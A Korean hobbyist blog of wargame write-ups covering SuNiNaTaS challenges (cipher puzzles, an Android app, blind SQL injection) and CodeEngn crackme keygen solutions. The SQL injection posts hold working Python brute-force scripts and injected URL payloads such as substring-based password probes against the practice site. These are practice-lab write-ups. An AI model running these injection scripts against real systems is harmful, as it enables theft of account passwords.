블로그 이미지
ludwings

카테고리

분류 전체보기 (130)
WIN API (22)
워게임 (61)
만든것 (2)
메모 (37)
Total17,890
Today1
Yesterday1

이거 옛날에 못풀었던거 다시풀어보고 있는데 바뀐점은 순방향 연산 역방향 연산 코드를 정리해서 적은 거..? 그뿐이다 다른점은 다똑같아...

'워게임 > 리버스엔지니어링' 카테고리의 다른 글

reversing.kr] crc  (1) 2014.07.09
CodeEngn Advance RCE L14  (0) 2013.11.27
codeengn advance rce l11 풀이  (0) 2013.11.25
codeengn advance rce l15 풀이  (0) 2013.11.22
codeengn advance rce l10 풀이  (0) 2013.11.21
섹션 합치기 & 섹션 추가  (2) 2013.10.31
Posted by ludwings

댓글을 달아 주세요

  1. 2014.07.12 14:13  댓글주소  수정/삭제  댓글쓰기

    비밀댓글입니다

한.. 한달정도 틈틈히 했는데 재밌었다... 처음으로 올클해봣슴 걔꿀!

님들도해보세여 재밋음 저같은 허접도 올클가능! 추천해요 11등!

 

suninatas.com

'워게임 > 기타' 카테고리의 다른 글

suninatas 올클리어~~  (4) 2013.12.27
suninatas 26번  (0) 2013.12.27
suninatas 24 25  (0) 2013.12.19
suninatas 23번 blind sql injection  (0) 2013.12.17
suninatas 22번 blind sql injection  (0) 2013.12.16
b1inder.dothome.co.kr ] Crypto 4  (1) 2013.12.04
Posted by ludwings

댓글을 달아 주세요

  1. 2014.01.10 15:42 신고 QBeom  댓글주소  수정/삭제  댓글쓰기

    이야 빡고수시네 ㄷㄷ

  2. 2014.05.20 11:19 러드윙스  댓글주소  수정/삭제  댓글쓰기

    우와! 멋저요! 나이스 러드윙스님!!!

suninatas 26번

워게임/기타 / 2013. 12. 27. 16:01

푸는데 시간이 생각보다 오래 걸렸는데.  내가 많이 헤맨 이유는 문제를 너무 어렵게 생각했기 때문이다..

알파벳 하나에 치환되는 알파벳하나. 이렇게 하나하나 되어있었는데 내가 생각한건 n 개의 알파벳이 모여서 다른 한개로 치환 된다고 생각해서 시간이 오래 걸렸는데..

점수를 보고 정신차리고 그냥 한글자로 생각하고 풀었다..

 

HINT

1. bpn ; n은 뭔지 알거라고 생각하고.. 맨마지막에 들어가는 알파벳이 e.인 3글자 단어..? the 또는 are..

2. 맨마지막의 ?ee?  ; ee양옆에 같은 알파벳이 들어가는 단어가 과연 얼마나 있을까..

'워게임 > 기타' 카테고리의 다른 글

suninatas 올클리어~~  (4) 2013.12.27
suninatas 26번  (0) 2013.12.27
suninatas 24 25  (0) 2013.12.19
suninatas 23번 blind sql injection  (0) 2013.12.17
suninatas 22번 blind sql injection  (0) 2013.12.16
b1inder.dothome.co.kr ] Crypto 4  (1) 2013.12.04
Posted by ludwings

댓글을 달아 주세요

suninatas 24 25

워게임/기타 / 2013. 12. 19. 08:39
처음풀어본 안드로이드문제욧다 첫문제는 .apkㄹㅎ 설치하고 툴들을 이용해서 소스파잏을 파헤쳐소 원하는값을 입룍햐쥬니까 값을뿌려줫는데 두번째문제는 구문오류라고 설치가되지않는ㄴ다. 정석분적해서 원하는 값을 알아낸 후에 useragent를 안드로이드로 전송해랴되나보다

'워게임 > 기타' 카테고리의 다른 글

suninatas 올클리어~~  (4) 2013.12.27
suninatas 26번  (0) 2013.12.27
suninatas 24 25  (0) 2013.12.19
suninatas 23번 blind sql injection  (0) 2013.12.17
suninatas 22번 blind sql injection  (0) 2013.12.16
b1inder.dothome.co.kr ] Crypto 4  (1) 2013.12.04
Posted by ludwings

댓글을 달아 주세요

>>> param = 'v'
>>> num="0123456789"
for i in range(2,9):
 full_param="http://www.suninatas.com/Part_one/web23/web23.asp?id=%27+or%28left%28pw%2C"+num[i]+"%29%3D%27"+param
 for j in range(len(words)):
  tmp = full_param+words[j]+"%27%29--&pw=1"
  resp = opener.open(tmp)
  str = resp.read().decode('utf-8')
  if str.find('OK')>-1:
   param = param+words[j]
   print(words[j])
   break


>>> param=""
>>> for i in range(1,9):
 full_param="http://www.suninatas.com/Part_one/web23/web23.asp?id=%27+or%28right%28pw%2C"+num[i]+"%29%3D%27"
 for j in range(len(words)):
  tmp = full_param+words[j]+param+"%27%29--&pw=1"
  resp = opener.open(tmp)
  str = resp.read().decode('utf-8')
  if str.find('OK')>-1:
   param = words[j]+param
   print(words[j])
   break


오른쪽

 

'워게임 > 기타' 카테고리의 다른 글

suninatas 올클리어~~  (4) 2013.12.27
suninatas 26번  (0) 2013.12.27
suninatas 24 25  (0) 2013.12.19
suninatas 23번 blind sql injection  (0) 2013.12.17
suninatas 22번 blind sql injection  (0) 2013.12.16
b1inder.dothome.co.kr ] Crypto 4  (1) 2013.12.04
Posted by ludwings

댓글을 달아 주세요

admin' and(substring(pw,1,1)='a')--

OK admin


http://www.suninatas.com/Part_one/web22/web22.asp?id=admin' and(substring(pw,1,1)='a')--&pw=1


http://www.suninatas.com/Part_one/web22/web22.asp?id=guest%27+and%28substring%28pw%2C1%2C1%29%3D%27g%27%29--&pw=1

>>> import urllib.request
>>> resp = urllib.request.urlopen("http://www.suninatas.com/member/mem_action.asp?Hid=ludwings&Hpw=")
>>> resp.read()
>>> words = "abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+=-~"
>>> param = "id=admin' and(substring(pw,1,1)='a')--&pw=1"

 

 

====

 

 


1. login session 유지

>>> import http.cookiejar
>>> import urllib.request
>>> import urllib.parse
>>>
>>> cj = http.cookiejar.CookieJar()
>>> opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
>>> resp = opener.open("http://www.suninatas.com/member/mem_action.asp?Hid=ludwings&Hpw=")
>>> print(resp.read())
b'\r\n<script language="javascript">\r\n\tvar auth1 = "1";\r\n\tvar auth  = auth1*1;\r\n\r\n\tif (auth == "0"){\r\n\t\talert("Plese Login First!");\r\n\t\tparent.document.location.href="../member/mem_action.asp?licen=login_out";\r\n\t}else{\r\n\t\talert("Welcome To SuNiNaTaS!");\r\n\t\tparent.document.location.href="../main/main.asp";\r\n\t}\r\n</script>'

 

 

 

 

2. buffer to string
str.decode('utf-8')

 

>>> words = "abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+=-~[]?;:'><.,`/{}"
>>> param1 = 'http://www.suninatas.com/Part_one/web22/web22.asp?id=admin%27+and%28substring%28pw%2C1%2C1%29%3D%27'
>>> param2 = '%27%29--&pw=1'
>>>

admin' and(substring(pw,n,1)=words[i])--


admin' and(substring(pw,1,1)='a')--

N1

N1c3Bilnl


3. 특수문자를 encode 해줘야해..

 

urllib.error.HTTPError: HTTP Error 406: Not Acceptable
>>> words = "abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$^&*()_+-~[]?:'><.,/{}"
>>> numbers="123456789"
>>> for i in range(10):
 for j in range(len(words)):
  full_param = 'http://www.suninatas.com/Part_one/web22/web22.asp?id=admin%27+and%28substring%28pw%2C'+numbers[i]+'%2C1%29%3D%27'+words[j]+param2
  resp = opener.open(full_param)
  str = resp.read()
  str2 = str.decode('utf-8')
  if str2.find('OK')>-1:
   print(words[j])
   break

'워게임 > 기타' 카테고리의 다른 글

suninatas 올클리어~~  (4) 2013.12.27
suninatas 26번  (0) 2013.12.27
suninatas 24 25  (0) 2013.12.19
suninatas 23번 blind sql injection  (0) 2013.12.17
suninatas 22번 blind sql injection  (0) 2013.12.16
b1inder.dothome.co.kr ] Crypto 4  (1) 2013.12.04
Posted by ludwings

댓글을 달아 주세요

이거푸는데 머 어케해야하지 하다가

인터넷에서 봣던

셜록홈즈의 춤추는 사람인가 인형인가 그거로 한번해봤다...

 

EEnpcqNcqNifPetVT sqcqN bdPWuQqgcqNcqNsqDfbdP_KEDeiqg_fsDeinpetKE

이렇게 되어있는데 반복으로 나오는 문자들 각각 한글자를 붙일수있겠지..


EE =
np =
sq =
cqN =
fs =
KE =
Dei =
qg =
et =
P =

 

근데 문자열의 시작은아마 Password Is ~~~일테니까

앞에

EE = P
np = a
sq = i
cqN = s

ifPetVT = word

 

이런식으로 했다..

중간에 _KEDeiqg_ 는 3글자 같은데

 

중간에 저런단어는 for, the, ago 등등 을 찾아볼수있는데 앞에서 한번도 나오지 않은 알파벳만 쓰인

the 같다..

그럼

 

password is ?? essi ??_the_?hart

 

이렇게되는데 힌트가 char니까 맨뒤의 물음표는 C..

저중간 4글자는 사용안된 알파벳

bfgjklnmquvxyz 들중 3개를 뽑아사용할텐데, 모음 알파벳은 u 하나남았으니 두번째 ? 는 u가될 확률이 크다..

그렇다면

?uessi?? 인데... 사용안된 알파벳으로 나올수있는 가장 높은 가능성을 지닌 단어는 "guessing" 이다.

 

 

'워게임 > 기타' 카테고리의 다른 글

suninatas 올클리어~~  (4) 2013.12.27
suninatas 26번  (0) 2013.12.27
suninatas 24 25  (0) 2013.12.19
suninatas 23번 blind sql injection  (0) 2013.12.17
suninatas 22번 blind sql injection  (0) 2013.12.16
b1inder.dothome.co.kr ] Crypto 4  (1) 2013.12.04
Posted by ludwings

댓글을 달아 주세요

  1. 2014.01.16 23:53 우와  댓글주소  수정/삭제  댓글쓰기

    우와신기하네여짝쨕쨕

4e 91 43
48 8d 45
20 52  32


CodeEngn Advance REC 14


14
Serial : NH6-0-0091008D0052 일때 Name은 무엇인가

이 문제는 키값을 만들기는 쉬운데 중간중간에 분석을 어렵게 하는 쓸데없는 코드들이 많았다.

먼저 인증이 성공했을 시 출력해주는 문자열인 "Registered Successfully" 을 찾고 위쪽에서부터 실행하다보면

name 을 이용해 만든 serial 과 입력한 serial 값을 비교하는 함수가 있고

그 바로 위에 함수인 CALL 00404bb8 에서 Serial 을 만들어 낸다는 것을 알수있다.

 

 


그 함수로 따라들어가서 분석해보면

키값을 만드는 과정은

name을 반복해서 적은 후에

name을 12글자로 만들어준다..

ex)
name : ludwings 라면

ludwingsludwings 로 만든후
ludwingsludw       으로 잘라낸다.

그 후에,
NH KeyGenMe6     과 1글자씩 값을 더해 앞에 00을 붙인다..

ex)
ludwingsludw
NH KeyGenMe6

l 의 아스키코드가 0x01
N의 아스키코드가 0x11이라면
"0012" 로,

u가 0x02
H가 0x22면
"0024"로

d가 0x03..... 생략..

이걸 12문자에대해 다 수행하고 합쳐준다

"0012002400~~~~"

그리고 앞에 12글자만 잘라내면 된다.

즉, 제일앞의 3글자만 시리얼을 만드는데 사용된다는 것이다.

그렇다면 문제에서 Serial은 NH6-0-0091008D0052  였고

0091008D0052 에서 역연산 해주면된다..

N : 0x4e
H : 0x48
' ': 0x20

이고 이 값들을 각각 0x91, 0x8d, 0x52에서 빼주면 정답이 되겠다.

4e - 91 = 43
48 - 8d = 45
20 - 52 = 32

 

 

'워게임 > 리버스엔지니어링' 카테고리의 다른 글

reversing.kr] crc  (1) 2014.07.09
CodeEngn Advance RCE L14  (0) 2013.11.27
codeengn advance rce l11 풀이  (0) 2013.11.25
codeengn advance rce l15 풀이  (0) 2013.11.22
codeengn advance rce l10 풀이  (0) 2013.11.21
섹션 합치기 & 섹션 추가  (2) 2013.10.31
Posted by ludwings

댓글을 달아 주세요

11번..

 

Serial이 94E7DB1B 일때 Name은 무엇인가
해당 Serial에 대한 정답이 여러개 나오는 문제이며 게시판에 비공개로 글을 남겨주시면 인증 처리해드리겠습니다.
해당 Serial에 대해서 "Serial accepted" 메시지가 나와야 합니다

 

--

돌려보니 마찬가지로

Name 을 가지고 serial을 만드는데

연산과정 중간에 고유 문자열을 가지고 연산을 해줘서 여러값들이 나올수있다.

 

그 연산과정을 c로 바꿔서 serial이 94e7db1b가 나올수있는 name을 출력하도록 해야한다..

 

그런데 연산과정이 너무 짜증나게 되어있다... 집가서 다시해봐야지..

'워게임 > 리버스엔지니어링' 카테고리의 다른 글

reversing.kr] crc  (1) 2014.07.09
CodeEngn Advance RCE L14  (0) 2013.11.27
codeengn advance rce l11 풀이  (0) 2013.11.25
codeengn advance rce l15 풀이  (0) 2013.11.22
codeengn advance rce l10 풀이  (0) 2013.11.21
섹션 합치기 & 섹션 추가  (2) 2013.10.31
Posted by ludwings

댓글을 달아 주세요

codeengn advance rce l15 문제 풀이당.

 

먼저 문제를 풀기위해 확인하기 위해 about을 보면

no patch,

find correct unlock code ..

등이 있다..

 

back to user mode 를 통해서 unlock code를 체크하는 부분을 찾아낸다.

 

첫번째함수.

40109d -> unlock code check

 

입력한 값을 가지고 어떠한 연산을 통해  0x403318에 저장해둔다.

 

두번째함수.

두번째함수를 확인해보니

 

앞서 0x403318에 저장해두었던 byte값과

프로그램이 4011c1 위치에 가지고 있는  값들을 xor 하여 함수를 만들어 내는것같다

 

403318에 들어갈수있는 값은 byte이니 0 ~ 0xff 까지 값을 넣어가면서 확인해본다.

하나하나 확인해보면 시간이 오래걸릴테니

 

xor 연산을 마친 후,

 

함수의 가장 이상적인 모습인

push ebp

mov ebp, esp 로 시작하는 것만 확인해본다.

 

따로만들기 귀찮아서 프로세스내에 빈부분 00으로 꽉차있는 부분에 어셈코드를 새로 작성했다.

0~ff까지돌며 복호화하는 코드이다.

 

쭉 돌리다보니... 복호화 했을시, push ebp로 시작하는 것을 찾을수 있었는데

그 연산값에 필요한 값은 0x25였다.

 

 

 

이렇게 복호화 하고보면 단순히 덤프창에서 확인하는 것만으로 serial 값을 확인할수있었다.

 

 

 

'워게임 > 리버스엔지니어링' 카테고리의 다른 글

CodeEngn Advance RCE L14  (0) 2013.11.27
codeengn advance rce l11 풀이  (0) 2013.11.25
codeengn advance rce l15 풀이  (0) 2013.11.22
codeengn advance rce l10 풀이  (0) 2013.11.21
섹션 합치기 & 섹션 추가  (2) 2013.10.31
thisislegal.com application 1,2,3  (0) 2013.10.31
Posted by ludwings

댓글을 달아 주세요

최근에 달린 댓글

최근에 받은 트랙백

글 보관함